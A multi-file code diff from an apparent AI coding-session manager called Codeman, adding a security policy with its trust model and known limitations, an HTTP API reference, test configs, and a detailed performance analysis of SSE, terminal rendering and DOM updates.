BG["后台智能体<br/><small>(Task 工具)</small>"]
end
end
UI <--> API
API <--> SSE
API --> SM
SM --> S1
SM --> S2
SM --> RC
SM --> ORC
SM --> SS
S1 --> RT
S1 --> SCR
S2 --> SCR
RC --> SCR
ORC --> SCR
SCR --> CLI
SW --> BG
SW --> SSE
TW --> SSE
```
---
## 开发
```bash
npm install
npx tsx src/index.ts web # 开发模式
npm run build # 生产构建
npm test # 运行测试
```
完整文档见 [CLAUDE.md](./CLAUDE.md)。
---
## 代码库质量
本代码库经历了一次全面的 7 阶段重构,消除了上帝对象、集中了配置,并建立了模块化架构:
| 阶段 | 改了什么 | 影响 |
|-------|-------------|--------|
| **性能** | 缓存端点、SSE 自适应批处理、缓冲区分块 | 终端延迟低于 16ms |
| **路由抽取** | `server.ts` 拆分为 15 个领域路由模块 + 认证中间件 + 端口接口 | server.ts 代码量 **−67%**(6,736 → 2,254) |
| **领域拆分** | `types.ts` → 16 个领域文件、`ralph-tracker` → 7 个文件、`respawn-controller` → 5 个文件、`session` → 6 个文件 | 不再有上帝文件 |
| **前端模块** | `app.js` → 18 个抽取模块,横跨基础设施、领域与特性层 | app.js 核心降至 **约 3.4K 行** |
| **配置合并** | 约 70 个散落的魔法数字 → 10 个领域聚焦的配置文件 | 零跨文件重复 |
| **测试基础设施** | 共享 mock 库、12 个路由测试文件、统一的 MockSession | 路由处理器可通过 `app.inject()` 测试 |
完整细节:[`docs/archive/code-structure-findings.md`](docs/archive/code-structure-findings.md)
---
## 已发布的包
### [`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input)
[![npm](https://img.shields.io/npm/v/xterm-zerolag-input?style=flat-square&color=22c55e)](https://www.npmjs.com/package/xterm-zerolag-input)
为 xterm.js 提供即时按键反馈的叠加层。通过把输入的字符立即渲染为像素级精准的 DOM 叠加层,消除高 RTT 连接下的感知输入延迟。零依赖、可配置的提示符检测、带 78 个测试的完整状态机。
```bash
npm install xterm-zerolag-input
```
[完整文档](packages/xterm-zerolag-input/README.md)
---
## 许可证
MIT —— 见 [LICENSE](LICENSE)
---
<p align="center">
<strong>跟踪会话。可视化智能体。掌控重生。让它在你睡觉时持续运行。</strong>
</p>
+78
View File
@@ -0,0 +1,78 @@
# Security Policy
Codeman launches AI coding sessions with `--dangerously-skip-permissions`, so the
web UI is **by design a remote-code-execution surface for whoever can reach it**.
The entire security model exists to control *who* that is. Please read this before
exposing an instance beyond `localhost`. The full model lives in
[`docs/security-architecture.md`](docs/security-architecture.md).
## Supported versions
Security fixes land on the latest published `codeman@X.Y.Z` release and `master`.
Older versions are not patched — upgrade to the latest release (App Settings →
Updates for git-clone installs, or `npm i -g aicodeman@latest`).
| Version | Supported |
| ------- | --------- |
| latest `0.9.x` / `master` | ✅ |
| anything older | ❌ (upgrade) |
## Reporting a vulnerability
**Please do not open a public issue for security problems.**
Report privately via **GitHub's private vulnerability reporting**:
the repository's **Security** tab → **Report a vulnerability**
(<https://github.com/Ark0N/Codeman/security/advisories/new>). This opens a private
advisory thread with the maintainer.
> Maintainer note: enable *Settings → Code security and analysis → Private
> vulnerability reporting* so this channel is live.
When reporting, please include: affected version/commit, the deployment shape
(loopback-only, `CODEMAN_PASSWORD` set, tunnel/`tailscale serve`, custom
reverse proxy), reproduction steps, and impact. We aim to acknowledge within a
few days. Coordinated disclosure is appreciated — we'll agree a disclosure
timeline with you once impact is confirmed.
### In scope
- Authentication / session-cookie bypass when `CODEMAN_PASSWORD` is set
- DNS-rebinding, CSRF/CSWSH, or Origin/Host-guard bypass reaching state-changing routes
- Remote code execution reachable **without** local OS access (e.g. via a browser, a tunnel, or a foreign origin)
- Path traversal / arbitrary file read or write through the HTTP API
- Supply-chain integrity of the in-app self-updater
### Out of scope (by design — see Known limitations)
- Anything requiring an already-trusted **same-machine, same-uid** process. Codeman trusts the local OS user it runs as; a peer process of that user is already inside the boundary.
- Running an authless instance bound to a non-loopback host after dismissing the startup warning (you explicitly acknowledged it).
- The default loopback + no-password posture itself (it is reachable only from the same machine).
## Trust model (summary)
- **Loopback by default.** Binds `127.0.0.1`; the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with concrete fixes.
- **Always-on Host + Origin guards.** Block DNS-rebinding and cross-site state-changing requests even on the no-auth loopback install (a missing Origin is allowed so CLI/hooks work).
- **Optional auth.** HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD`; success issues an opaque server-side 256-bit cookie. Per-IP rate limiting on failures.
- **Hardened file serving, tmux launch, transport headers, and multi-instance isolation** — see the full architecture doc.
## Known limitations and accepted risk
A 1.0 release is an implicit statement that the documented model *is* the model, so
these residuals are stated explicitly. Most sit **inside the same-uid OS trust
boundary** or behind the always-on Origin guard; they matter mainly for
shared-host, multi-user, or tunneled deployments.
- **Self-update trusts an unsigned release tag.** The in-app updater does `git checkout <tag> && npm install` (lifecycle scripts run) of a tag matched only by name shape, from whatever `origin` points to — no signature/commit verification. Treat the updater as trusting your `origin` remote and your release pipeline. (Hardening tracked for 1.0.)
- **CSP ships `'unsafe-inline'`.** Inline handlers mean the Content-Security-Policy is defense-in-depth only; all AI-/file-derived sinks are escaped, but a future missed escape would be executable.
- **`workingDir` is unconstrained.** A session may be created with any absolute working directory (e.g. `/`), which becomes the file-route boundary for that session. Scope it to trusted paths on shared hosts.
- **Hook-event auth exemption is loopback-IP-based.** `POST /api/hook-event` is exempt from auth for loopback callers; because tunnels (cloudflared / `tailscale serve`) terminate at `127.0.0.1`, a loopback-terminating tunnel inherits the exemption. Set `CODEMAN_PASSWORD` and prefer a tunnel that preserves the client identity if this matters.
- **Session cookie is not bound to client IP/UA on reuse, and refreshes without an absolute cap.** A stolen cookie replays until its idle TTL elapses.
- **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values.
- **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5.
Recent hardening (this release): web-push subscription endpoints are restricted
to https public hosts (SSRF guard — rejects internal/metadata IPs, validated at
subscribe and send time), and tmux session names discovered on the shared socket
are validated against the safe-name pattern before reaching any shell call site.
For the detailed rationale, defenses, and recommended secure setups, see
[`docs/security-architecture.md`](docs/security-architecture.md).
+1 -2
View File
@@ -22,8 +22,7 @@ export default tseslint.config(
'src/web/public/vendor/**',
'src/web/public/app.js',
'scripts/**/*.mjs',
'tools/**',
'remotion/**',
'scripts/remotion/**',
],
}
);
+33
View File
@@ -0,0 +1,33 @@
import { resolve } from 'node:path';
import { defineConfig, configDefaults } from 'vitest/config';
const root = resolve(import.meta.dirname, '..');
/**
* CI test config — same as vitest.config.ts but EXCLUDES the browser-driven
* mobile suite (test/mobile/**). Those are Playwright visual-regression tests
* that need a live server + chromium + environment-specific PNG baselines, so
* they are run/maintained separately and are not part of the CI gate.
*
* Keep the rest in sync with config/vitest.config.ts.
*/
export default defineConfig({
test: {
root,
globals: true,
environment: 'node',
include: ['test/**/*.test.ts'],
exclude: [
...configDefaults.exclude,
'test/mobile/**', // browser/visual (Playwright + chromium)
'test/perf-*.test.ts', // timing-sensitive perf benchmarks (flaky in CI)
'test/inline-rename.test.ts', // browser (Playwright)
'test/opencode-resize.test.ts', // browser (Playwright)
'test/webgl-fallback.test.ts', // browser (Playwright)
],
setupFiles: ['./test/setup.ts'],
fileParallelism: false,
testTimeout: 30000,
teardownTimeout: 60000,
},
});
@@ -1,7 +1,11 @@
import { resolve } from 'node:path';
import { defineConfig } from 'vitest/config';
const root = resolve(import.meta.dirname, '..');
export default defineConfig({
test: {
root,
globals: true,
environment: 'node',
include: ['test/**/*.test.ts'],
+90
View File
@@ -0,0 +1,90 @@
# HTTP API Reference
Codeman's HTTP API is a **stable contract** as of 1.0 — see
[`versioning-policy.md`](versioning-policy.md) for the SemVer guarantee. This page
defines the response envelope, status codes, error codes, versioning, and the SSE
event channel.
## Versioning
- The stable, public surface is served under **`/api/v1/...`**. Pin external
clients to this prefix.
- The unversioned **`/api/...`** paths are a permanent alias of the current
version (what the bundled web UI uses). They are kept working, but new external
integrations should use `/api/v1`.
- Breaking changes to the contract ship under a new prefix (`/api/v2`); `/api/v1`
keeps its semantics. Additive changes (new endpoints, new optional fields, new
error codes) are non-breaking and may appear in a minor release.
- The implementation rewrites `/api/v1/*` → `/api/*` at the server level
(`rewriteApiV1Url` in `src/web/server.ts`).
## Response envelope
Every JSON response uses one uniform envelope, applied centrally by a
`preSerialization` hook (`src/web/server.ts`) — handlers return bare data and the
hook wraps it:
**Success** — HTTP `2xx`:
```json
{ "success": true, "data": <payload> }
```
`data` is the endpoint's payload (object, array, or value). Endpoints with no
payload return `{ "success": true, "data": {} }`.
**Error** — HTTP `4xx`/`5xx`:
```json
{ "success": false, "error": "human-readable message", "errorCode": "NOT_FOUND" }
```
`ApiResponse<T>` in `src/types/api.ts` is the canonical type.
> Non-JSON endpoints are exempt from the envelope: `GET /api/sessions/:id/file-raw`,
> `GET /api/sessions/:id/tail-file` (SSE), `GET /api/download`,
> `GET /api/screenshots/:name`, `GET /q/:code` (QR redirect), and the
> `GET /ws/sessions/:id/terminal` WebSocket upgrade.
## Error codes → HTTP status
The single source of truth is `ErrorStatus` / `httpStatusForErrorCode()` in
`src/types/api.ts`. Clients should branch on `errorCode` (stable) and may rely on
the HTTP status.
| `errorCode` | HTTP | Meaning |
|-------------|------|---------|
| `INVALID_INPUT` | 400 | Malformed request / failed validation |
| `UNAUTHORIZED` | 401 | Authentication required or failed |
| `NOT_FOUND` | 404 | Resource does not exist |
| `SESSION_BUSY` | 409 | Session is busy |
| `CONFLICT` | 409 | Conflicts with current state (e.g. already running) |
| `ALREADY_EXISTS` | 409 | Resource already exists |
| `OPERATION_FAILED` | 422 | Well-formed but could not be completed |
| `RATE_LIMITED` | 429 | Too many requests |
| `INTERNAL_ERROR` | 500 | Unexpected server error |
Adding a new error code is non-breaking; removing or renaming one is a major change.
## Authentication
Optional HTTP Basic (`CODEMAN_USERNAME`/`CODEMAN_PASSWORD`) → opaque
`codeman_session` cookie. When enabled, unauthenticated requests get
`401 UNAUTHORIZED`; rate-limited requests get `429 RATE_LIMITED`. See
[`security-architecture.md`](security-architecture.md).
## SSE event channel
`GET /api/events` is a Server-Sent Events stream (`text/event-stream`); each
message is `event: <name>` + `data: <json>`. The event-name registry
(`src/web/sse-events.ts`, mirrored in `src/web/public/constants.js`) is part of
the stable contract — event names are not renamed without a major bump. An
optional `?sessions=<id,...>` filter suppresses only the high-volume terminal
stream; lifecycle/metadata events are delivered to all clients regardless.
## Consuming from JavaScript
The bundled frontend reads responses through `_apiJson()`
(`src/web/public/api-client.js`), which unwraps `{success:true,data}` → `data` and
returns `null` on a non-2xx / `{success:false}` response. External clients should
do the same: check the HTTP status (or `body.success`), then read `body.data`.
@@ -1,3 +1,9 @@
> **⚠️ ARCHIVED 2026-05-21 — superseded, kept for history.**
> The headline items here were verified resolved: the P0 `{WORKING_DIR}` placeholder
> is now replaced (`plan-orchestrator.ts:431`), and the "~66 dead functions in app.js"
> are gone (app.js was modularized 15K→3K LOC). A fresh `npm run knip` sweep on
> 2026-05-21 found only a handful of unused test helpers. Do not treat this as a live TODO.
# Codebase Cleanup Findings
Compiled from parallel analysis of the entire Codeman codebase by 3 research agents (2026-02-19).
@@ -1,3 +1,9 @@
> **⚠️ ARCHIVED 2026-05-21 — superseded, kept for history.**
> The "Critical" structural items here are done: `server.ts` 6,736→2,065 LOC,
> `app.js` 15,196→3,083 LOC, `types.ts` 1,443→12 LOC (now a barrel → `src/types/`).
> The phase plans that executed this work are in `docs/archive/phase*-plan.md`.
> Do not treat this as a live TODO; see CLAUDE.md for current architecture.
# Code Structure & Quality Findings
**Date**: 2026-02-28
+423
View File
@@ -0,0 +1,423 @@
# Performance Analysis & Optimization Opportunities
**Date**: 2026-03-07
**Scope**: Full-stack performance analysis — backend PTY handling, SSE broadcasting, frontend terminal rendering, local echo overlay, DOM updates, config/scaling limits.
**Constraint**: All recommendations preserve existing functionality including local echo, backpressure, anti-flicker pipeline, and mobile support.
---
## Executive Summary
The codebase is already well-optimized in critical paths. The multi-layer backpressure system, adaptive terminal batching, DEC 2026 sync markers, and incremental state serialization are strong. The main opportunities are in **reducing unnecessary work** (SSE filtering, DOM rebuilds, lazy terminal init) rather than algorithmic changes.
**Top 5 high-impact opportunities:**
| # | Optimization | Impact | Risk | Effort |
|---|-------------|--------|------|--------|
| 1 | Session-scoped SSE subscriptions | Bandwidth -60-80%, CPU -40% | Medium | Medium |
| 2 | Lazy xterm.js for minimized subagent windows | Memory -3.5MB at 50 agents | Low | Low |
| 3 | Targeted badge update (skip full tab rebuild) | Eliminates O(n) reflow on badge change | Low | Low |
| 4 | Conditional SSE padding (tunnel-only, terminal-only) | Bandwidth -70% when tunneled | Low | Low |
| 5 | Canvas renderer on mobile | GPU pressure reduction, battery savings | Low | Low |
---
## 1. SSE Broadcasting
### Current State
- **92 event types** broadcast to all connected clients (max 100)
- Single `JSON.stringify()` per event, shared across all clients (efficient)
- **No per-client filtering** — every client receives every event regardless of which session they're viewing
- 8KB padding appended to **every** event when tunnel is active (forces Cloudflare proxy flush)
- Backpressure: clients marked as backpressured if `reply.raw.write()` returns false; recovery via `session:needsRefresh`
### Bottlenecks
**B1: No session-scoped SSE subscriptions** (`server.ts:1986`)
- Client viewing session A still receives all events for sessions B through T
- With 20 active sessions, ~95% of terminal events are irrelevant to any given client
- Cost: wasted bandwidth, CPU for JSON parsing, and event handler dispatch on client
**B2: Unconditional 8KB padding** (`server.ts:1977`)
- Every event gets 8KB comment padding when tunnel is active
- A `task:updated` event (~200 bytes payload) becomes ~8.2KB
- High-frequency events like `session:terminal` need the padding; low-frequency events like `session:created` don't
### Recommendations
**R1: Session-scoped SSE subscriptions** (High impact)
- Add `?sessions=id1,id2` query param to `/api/events` SSE endpoint
- Server filters events by session ID before broadcasting
- Client subscribes to active session + "global" events (session lifecycle, system)
- Re-subscribes on tab switch (or subscribe to all with client-side filter as fallback)
- **Savings**: ~80% bandwidth reduction for single-session viewers; ~60% for multi-session dashboards
**R2: Tiered SSE padding** (Medium impact)
- Only pad `session:terminal` events and SSE heartbeats (the two that need proxy flush)
- Skip padding for low-frequency structural events (`session:created`, `task:updated`, etc.)
- **Savings**: ~70% padding overhead reduction; terminal events already large enough to flush
---
## 2. Terminal Rendering
### Current State (Well-Optimized)
- **6-layer anti-flicker pipeline**: Server batching (adaptive 16-50ms) → DEC 2026 sync wrap → single JSON serialize → client rAF batching → sync segment parser → chunked buffer loading (32KB/frame)
- **64KB/frame write budget** with DEC 2026 sync-segment awareness (prevents 141KB single-frame freezes)
- **3-layer backpressure**: SSE cap (128KB queued → drop + refresh), frame budget (64KB/frame), chunked restore (32KB/frame)
- WebGL renderer enabled by default with canvas fallback on context loss
- Typical latency: 16-32ms; worst case: ~115ms (50ms server batch + 50ms sync wait + 16ms rAF)
### Bottlenecks
**B3: WebGL on mobile** (`app.js:627-637`)
- Mobile GPUs are weaker; WebGL context loss more likely on low-end devices
- Canvas renderer is sufficient for mobile (typically 1 session, smaller viewport)
**B4: Static scrollback for all sessions** (`app.js:572`)
- Default 5000 lines scrollback for all sessions regardless of activity level
- Heavy output sessions (build logs, test runners) accumulate large scroll buffers
**B5: No addon lazy loading**
- FitAddon, Unicode11Addon, and WebGLAddon all loaded at terminal init
- Unicode11Addon only needed for CJK content; WebGLAddon is large
### Recommendations
**R3: Force canvas renderer on mobile** (Low risk)
- Detect `MobileDetection.isMobile()` and skip WebGL addon loading
- Reduces GPU memory pressure, prevents context loss crashes
- Mobile typically has 1-2 sessions — canvas performance is more than adequate
**R4: Dynamic scrollback based on session activity** (Low risk)
- Active sessions (working state): 5000 lines (current default)
- Inactive/idle sessions: reduce to 2000 lines
- Restore on session select (fetch from server buffer)
- **Savings**: ~60% scrollback memory for idle sessions
**R5: Lazy-load Unicode11Addon** (Low risk)
- Only load when CJK content is detected in terminal output
- Detection: check for characters in CJK Unicode ranges during ANSI stripping (already iterating)
- Most sessions never need it
---
## 3. DOM & Session Tab Rendering
### Current State
- Session tabs use **intelligent incremental updates** with debounced 100ms rendering
- Incremental path: only updates changed properties (classes, textContent, badges) when session list is stable
- Full rebuild path: triggered when sessions added/removed **or badge count changes**
- Subagent windows: per-window xterm.js instances, even when minimized
### Bottlenecks
**B6: Badge count change triggers full tab rebuild** (`app.js:3207-3209`)
- A single subagent badge increment on one tab triggers `_fullRenderSessionTabs()` — rebuilds entire sidebar HTML via `innerHTML =`
- With 20 sessions, this is an O(n) reflow for a single badge number change
- Badge changes are frequent during active subagent work
**B7: Minimized subagent windows retain xterm.js instances** (`subagent-windows.js`)
- 50 subagent windows × ~75KB per xterm.js instance = ~3.75MB DOM memory
- Minimized windows are invisible but their terminals remain in DOM
- xterm.js instances continue processing resize events even when hidden
**B8: `backdrop-filter: blur()` on overlays** (`styles.css:2246-2247, 3098`)
- Forces new stacking context, disables browser compositing optimizations
- 50-100ms layout thrashing on modal open/close
- Only 2 uses, but they're on frequently toggled overlays
### Recommendations
**R6: Targeted badge update without full rebuild** (Low risk)
- When badge count changes but session list is stable, update only the badge `<span>` textContent
- Keep incremental path for badge changes; only use full rebuild for structural changes (add/remove sessions)
- **Savings**: Eliminates O(n) reflow per badge change; reduces to O(1) targeted update
**R7: Lazy xterm.js initialization for subagent windows** (Medium impact)
- Only create xterm.js Terminal instance when window is restored/maximized
- On minimize: serialize terminal buffer, dispose Terminal instance, keep buffer in memory
- On restore: create new Terminal, write buffer back
- **Savings**: ~3.5MB DOM reduction at 50 minimized agents; eliminates hidden resize processing
- **Trade-off**: ~200-500ms restore delay (buffer write), mitigated by chunked loading
**R8: Replace `backdrop-filter: blur()` with `background: rgba()`** (Low risk)
- Use semi-transparent background instead of blur effect
- Or use `will-change: transform` hint if blur is kept
- **Savings**: Eliminates forced recomposition layer; 50-100ms faster overlay open
---
## 4. Backend PTY & State Management
### Current State (Excellent)
- **BufferAccumulator**: Array-based chunking with lazy join on read — avoids O(n) string concatenation
- **ANSI stripping**: Throttled at 150ms intervals with lazy evaluation (not per-chunk)
- **State persistence**: 500ms debounce + incremental JSON caching per session (only dirty sessions re-serialized)
- **Expensive parsers**: Throttled to 150ms window, accumulated data capped at 64KB
- **Memory**: All buffers have hard limits (2MB terminal, 1MB text, 1000 messages, 64KB line buffer)
### Bottlenecks
**B9: Pending clean data cap at 64KB** (`session.ts:1097-1133`)
- Between 150ms processing windows, raw PTY data accumulates in `_pendingCleanData`
- Capped at 64KB — excess data rolls off (old data discarded)
- During heavy output (large build logs), this means parsers may miss content
- Acceptable trade-off for performance, but worth documenting
**B10: `LRUMap.delete()` is O(n) worst case** (`utils/lru-map.ts:137-138`)
- When deleting the newest entry, iterates all keys to find new newest
- Rare in practice (delete is uncommon; set/get are hot paths)
- Could matter during mass cleanup of 500 agents
### Recommendations
**R9: Consider adaptive pending data cap** (Low priority)
- During idle detection (critical to get right), increase cap to 128KB
- During active working state, keep at 64KB (parsers less critical)
- **Benefit**: More accurate idle detection during heavy output
**R10: Track second-newest in LRUMap** (Low priority)
- Maintain a `_secondNewestKey` alongside `_newestKey`
- On delete of newest, promote second-newest without iteration
- Only matters at scale (500+ agents with frequent eviction)
---
## 5. Local Echo & Input Path
### Current State (Well-Designed)
- **DOM overlay approach** — `<span>` elements in `.xterm-screen` at z-index 7, completely independent of `terminal.write()`
- **Render caching**: `_lastRenderKey` includes text, position, column offsets — skips redundant re-renders
- **Input flow**: Char accumulation → Enter triggers flush → 80ms delay before `\r` (ensures text reaches PTY first)
- **Tab completion**: Baseline snapshot → detect buffer change → 300ms fallback timer
- **CJK support**: Per-character width detection with `terminal.unicode.getStringCellWidth()` preferred, manual fallback
- **Prompt detection**: Bottom-up line scan, O(rows) — cached position, column-lock prevents jitter
### Bottlenecks
**B11: tmux send-keys latency** (~50-100ms per input)
- Each `writeViaMux()` spawns a child process (`tmux send-keys`)
- Text and Enter sent separately with 50ms delay between
- For rapid typing: characters batch before Enter, so overhead is per-command not per-keystroke
- **Acceptable trade-off** for session persistence (tmux survives server restarts)
**B12: 80ms delay between text flush and Enter** (`app.js:872-875`)
- Intentional: ensures text reaches PTY before Enter, preventing Ink from processing empty input
- Adds 80ms to perceived Enter-to-response latency
- Could potentially be reduced with acknowledgment-based approach
**B13: Scroll listener on terminal viewport** (`zerolag-input-addon.ts:139`)
- 50ms debounced re-render on scroll — acceptable but fires frequently during heavy output
- Overlay hidden when scrolled up (correct behavior), shown when at bottom
### Recommendations
**R11: Reduce Enter delay from 80ms to 50ms** (Low risk, test carefully)
- The tmux `send-keys` already has 50ms internal delay
- Combined with network latency, 80ms client-side may be excessive
- Test with Ink-heavy sessions (Claude Code's status bar) — if text arrives before Enter at 50ms, reduce
- **Savings**: 30ms perceived latency reduction per command
**R12: Batch tmux send-keys via stdin pipe** (Medium effort, high impact for rapid input)
- Instead of spawning `tmux send-keys` per input, maintain a persistent connection
- Use `tmux -C` (control mode) for programmatic interaction without child process spawning
- **Savings**: Eliminate ~50-100ms process spawn overhead per input
- **Risk**: Control mode has different semantics; needs careful testing with session persistence
**R13: Skip overlay re-render during heavy output scroll** (Low risk)
- When terminal is receiving >10KB/s output, hide overlay entirely (user isn't typing during heavy output)
- Re-show overlay after 500ms of output silence
- **Savings**: Eliminates unnecessary DOM overlay re-renders during build logs / test output
---
## 6. Polling & File Watchers
### Current State
- **SubagentWatcher**: 1s base poll, full scan throttled to every 5s, fs.watch() on known directories
- **TranscriptWatcher**: 1 per session, fs.watch() primary with 1s poll fallback
- **ImageWatcher**: chokidar per session with 100ms stability poll, burst limit 20/10s
- **TeamWatcher**: chokidar primary with 30s poll fallback, LRU caches (50 teams, 200 tasks)
- **RalphTracker**: Todo cleanup every 5 minutes
### Scaling Profile (20 sessions)
| Component | Instances | Frequency | Total ops/sec |
|-----------|-----------|-----------|---------------|
| SubagentWatcher | 1 (global) | Full scan every 5s | 0.2/s |
| TranscriptWatcher | 20 | 1s poll (fallback) | 20/s max |
| ImageWatcher | 20 | 100ms poll (during writes only) | 200/s burst |
| TeamWatcher | 1 (global) | 30s poll (fallback) | 0.03/s |
| SSE heartbeat | 1 (global) | 15s | 0.07/s |
| SSE dead client check | 1 (global) | 30s | 0.03/s |
| Mux stats collection | 1 (global) | 2s | 0.5/s |
| **Total steady-state** | | | **~21/s** |
### Recommendations
**R14: Increase TranscriptWatcher poll interval to 2s** (Low risk)
- Transcript changes are infrequent (new messages every few seconds at most)
- fs.watch() is the primary mechanism; polling is fallback
- **Savings**: Halves fallback filesystem checks (20/s → 10/s for 20 sessions)
**R15: Share chokidar instances for co-located session directories** (Medium effort)
- Sessions in the same parent directory could share a single chokidar watcher with depth:3
- Common case: multiple sessions in `~/projects/foo/` — one watcher covers all
- **Savings**: Reduce chokidar instances from 20 to ~5-10 for typical workloads
---
## 7. Frontend Asset Delivery
### Current State
- **app.js**: 12,027 lines (source) → esbuild minified → gzip/brotli compressed (~30-40KB gzipped)
- **Static caching**: `maxAge: '1y'` via `@fastify/static`
- **Service worker**: Push notification handler only — no asset caching
- **No code splitting**: Single monolithic app.js bundle
### Bottlenecks
**B14: No cache-busting mechanism**
- `maxAge: '1y'` means browsers cache aggressively
- After deployment, users need `Ctrl+Shift+R` to see updates
- No content hash in filenames or ETags for automatic invalidation
**B15: Monolithic app.js**
- All 12K lines loaded on initial page load regardless of which features are used
- Ralph wizard, plan orchestrator UI, team management — all loaded upfront
- Mobile loads the same bundle as desktop
### Recommendations
**R16: Add content hash to asset filenames** (Medium impact)
- Build step: rename `app.js` → `app.[hash].js`
- Generate a manifest or inject hash into HTML template
- Keep `maxAge: '1y'` — cache invalidation happens via filename change
- **Savings**: Eliminates stale cache issues after deployment; removes need for manual hard refresh
**R17: Code-split app.js into core + feature modules** (High effort, medium impact)
- Core (~4K lines): terminal, SSE, session management, tabs, input handling
- Deferred (~8K lines): Ralph wizard, plan UI, team management, subagent windows, image viewer
- Load deferred modules on first use via dynamic `import()` or lazy `<script>` injection
- **Savings**: ~60% reduction in initial load size; faster time-to-interactive
- **Risk**: Complexity increase; need to handle loading states for deferred features
- **Note**: May not be worth the effort given the app is already gzipped to ~30-40KB
---
## 8. CSS Performance
### Current State
- **styles.css**: 7,153 lines with ~45 box-shadow uses, 2 backdrop-filter uses
- Animations: GPU-accelerated keyframes for pulsing alerts, loading spinners
- Z-index layering: well-organized (subagent 1000, plan 1100, log 2000, image 3000, overlay 7)
### Recommendations
**R18: Replace backdrop-filter with opaque overlay** (Low risk, covered in R8)
**R19: Use `contain: content` on subagent windows** (Low risk)
- Add CSS containment to subagent window containers
- Prevents layout changes inside windows from triggering reflow on parent
- Especially valuable with 50 windows: changes in one window won't invalidate others
- ```css
.subagent-window { contain: content; }
```
- **Savings**: Reduces layout recalculation scope from global to per-window
**R20: Use `content-visibility: auto` on off-screen subagent windows** (Low risk)
- Browser skips rendering of off-screen windows entirely
- Combined with `contain-intrinsic-size` to prevent layout shift
- ```css
.subagent-window.minimized { content-visibility: hidden; }
```
- **Savings**: Browser skips paint/layout for minimized windows; complements R7
---
## 9. Memory & Scaling Limits
### Current Budget (20 sessions)
| Component | Per Session | Total | Status |
|-----------|-----------|-------|--------|
| Terminal buffer | 2MB | 40MB | Hard-limited, auto-trim |
| Text output | 1MB | 20MB | Hard-limited, auto-trim |
| Messages | ~1MB | 20MB | Capped at 1000, trims to 800 |
| Respawn buffer | 1MB | 20MB | Hard-limited |
| **Buffers total** | | **100MB** | Acceptable |
| TranscriptWatcher | ~100KB | 2MB | |
| ImageWatcher | ~50KB | 1MB | |
| SubagentWatcher | ~500KB | 500KB | Global |
| Frontend terminal cache | ~256KB | 5MB | LRU, max 20 entries |
| **Total estimated** | | **~110MB** | Comfortable |
### At Max Scale (50 sessions)
- Buffers: ~250MB
- Watchers: ~5MB
- **Total: ~255MB** + Node.js overhead — acceptable on modern hardware
### Potential Leak Vectors (All Mitigated)
- `_shortIdCache` in server — unbounded Map, but entries are tiny (string→string); grows at O(sessions created), not O(events)
- All CleanupManager-registered resources tracked and disposed on session stop
- `isStopped` guard prevents new timers after session cleanup
---
## 10. Implementation Priority Matrix
### Phase 1 — Quick Wins (1-2 hours each, low risk)
| # | Optimization | Files to Change |
|---|-------------|-----------------|
| R6 | Targeted badge update | `app.js` (3207-3209) |
| R3 | Canvas renderer on mobile | `app.js` (627-637) |
| R8 | Replace backdrop-filter blur | `styles.css` (2246, 3098) |
| R19 | CSS containment on subagent windows | `styles.css` |
| R20 | `content-visibility: hidden` on minimized windows | `styles.css` |
### Phase 2 — Medium Effort (half-day each)
| # | Optimization | Files to Change |
|---|-------------|-----------------|
| R2 | Tiered SSE padding | `server.ts` (broadcast function) |
| R7 | Lazy xterm.js for minimized subagents | `subagent-windows.js` |
| R11 | Reduce Enter delay to 50ms | `app.js` (872-875), test with Ink |
| R14 | TranscriptWatcher 2s poll | `transcript-watcher.ts` |
| R16 | Content-hash asset filenames | `build.mjs`, `server.ts` |
### Phase 3 — Larger Initiatives (1-2 days each)
| # | Optimization | Files to Change |
|---|-------------|-----------------|
| R1 | Session-scoped SSE subscriptions | `server.ts`, `app.js` (SSE connect) |
| R5 | Lazy Unicode11Addon loading | `app.js`, build pipeline |
| R12 | Persistent tmux control mode | `tmux-manager.ts` |
| R17 | Code-split app.js | `app.js`, `build.mjs`, HTML template |
### Not Recommended (Low ROI or High Risk)
| # | Why Not |
|---|---------|
| R4 | Dynamic scrollback adds complexity; memory savings marginal vs total budget |
| R9 | Adaptive pending data cap adds state; current 64KB cap rarely matters |
| R10 | LRUMap.delete() O(n) is theoretical; never triggered at current scale |
| R15 | Shared chokidar instances add directory-matching complexity for minimal gain |
---
## Appendix: Key File Locations
| Area | File | Key Lines |
|------|------|-----------|
| SSE broadcast | `src/web/server.ts` | 1961-1989 (broadcast), 1934-1959 (backpressure) |
| Terminal batching | `src/web/server.ts` | 1994-2048 (per-session adaptive batching) |
| Frame budget | `src/web/public/app.js` | 1370-1478 (flushPendingWrites, 64KB cap) |
| Flicker filter | `src/web/public/app.js` | 1176-1255 (50ms sync wait, 256KB safety) |
| Tab rendering | `src/web/public/app.js` | 3108-3357 (incremental + full rebuild) |
| Tab switching | `src/web/public/app.js` | 3560-3760 (cache + chunked load + deferred UI) |
| Local echo | `packages/xterm-zerolag-input/src/` | All files (overlay, prompt, CJK) |
| Local echo integration | `src/web/public/app.js` | 640, 815-988 (input flow) |
| Subagent windows | `src/web/public/subagent-windows.js` | Full file (window mgmt, drag, minimize) |
| State persistence | `src/state-store.ts` | 161-250 (debounced save, incremental JSON) |
| Buffer accumulator | `src/utils/buffer-accumulator.ts` | Full file (array chunks, lazy join) |
| PTY handling | `src/session.ts` | 1046-1133 (data flow), 1173-1230 (parsing) |
| Config limits | `src/config/` | 9 files (buffer, map, timing, auth, etc.) |
| Anti-flicker docs | `docs/terminal-anti-flicker.md` | Architecture reference |
| CSS | `src/web/public/styles.css` | 2246 (backdrop-filter), full file |
| Build pipeline | `scripts/build.mjs` | 59-68 (minify + compress) |
+74
View File
@@ -0,0 +1,74 @@
# Codeman Performance Optimization Plan
## Current State
The backend is **already production-grade** — SSE broadcasting, state persistence, terminal batching, buffer management, and memory patterns are all well-optimized. The biggest gains are on the **frontend delivery** side.
## Implemented Optimizations
### 1. V8 Compile Cache (10-20% faster cold start)
**Files:** `scripts/codeman-web.service`, `package.json`
